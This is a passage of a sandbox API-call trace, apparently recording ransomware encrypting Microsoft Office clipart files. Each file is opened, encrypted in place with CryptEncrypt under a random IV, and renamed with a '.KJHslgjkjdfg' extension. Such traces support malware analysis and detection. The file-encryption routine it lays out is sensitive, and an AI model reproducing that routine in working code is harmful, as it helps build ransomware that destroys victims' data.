(hKey=0x9b6628) returned 1 [0208.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.168] SetEndOfFile (hFile=0x130) returned 1 [0208.170] GetProcessHeap () returned 0x990000 [0208.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.170] GetProcessHeap () returned 0x990000 [0208.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.kjhslgjkjdfg")) returned 1 [0208.172] CloseHandle (hObject=0x130) returned 1 [0208.172] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0208.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.174] GetProcessHeap () returned 0x990000 [0208.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.174] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.174] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.177] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.177] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.177] GetProcessHeap () returned 0x990000 [0208.177] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.177] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.177] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.177] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.177] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.177] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.177] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.177] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.178] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6afc, lpOverlapped=0x0) returned 1 [0208.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b00, dwBufLen=0x6b00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b00) returned 1 [0208.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.180] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6b00, lpOverlapped=0x0) returned 1 [0208.180] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.180] SetEndOfFile (hFile=0x130) returned 1 [0208.182] GetProcessHeap () returned 0x990000 [0208.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.182] GetProcessHeap () returned 0x990000 [0208.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.kjhslgjkjdfg")) returned 1 [0208.189] CloseHandle (hObject=0x130) returned 1 [0208.189] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0208.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.190] GetProcessHeap () returned 0x990000 [0208.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.190] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.190] GetProcessHeap () returned 0x990000 [0208.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.190] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.190] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.190] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.202] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.203] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.203] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.205] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.205] SetEndOfFile (hFile=0x130) returned 1 [0208.208] GetProcessHeap () returned 0x990000 [0208.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.208] GetProcessHeap () returned 0x990000 [0208.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.kjhslgjkjdfg")) returned 1 [0208.209] CloseHandle (hObject=0x130) returned 1 [0208.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0208.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.210] GetProcessHeap () returned 0x990000 [0208.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.210] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.210] GetProcessHeap () returned 0x990000 [0208.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.211] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.215] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.215] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.215] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.216] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.216] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.219] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.220] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.220] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.220] SetEndOfFile (hFile=0x130) returned 1 [0208.222] GetProcessHeap () returned 0x990000 [0208.222] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.222] GetProcessHeap () returned 0x990000 [0208.222] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.kjhslgjkjdfg")) returned 1 [0208.224] CloseHandle (hObject=0x130) returned 1 [0208.224] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0208.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.225] GetProcessHeap () returned 0x990000 [0208.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.225] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0208.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.228] GetProcessHeap () returned 0x990000 [0208.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.228] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.228] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.228] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.228] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.228] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.228] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.228] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.228] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7297, lpOverlapped=0x0) returned 1 [0208.229] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x72a0, dwBufLen=0x72a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x72a0) returned 1 [0208.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.230] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x72a0, lpOverlapped=0x0) returned 1 [0208.230] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.230] SetEndOfFile (hFile=0x130) returned 1 [0208.233] GetProcessHeap () returned 0x990000 [0208.233] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.233] GetProcessHeap () returned 0x990000 [0208.233] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.kjhslgjkjdfg")) returned 1 [0208.235] CloseHandle (hObject=0x130) returned 1 [0208.235] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0208.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.236] GetProcessHeap () returned 0x990000 [0208.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, 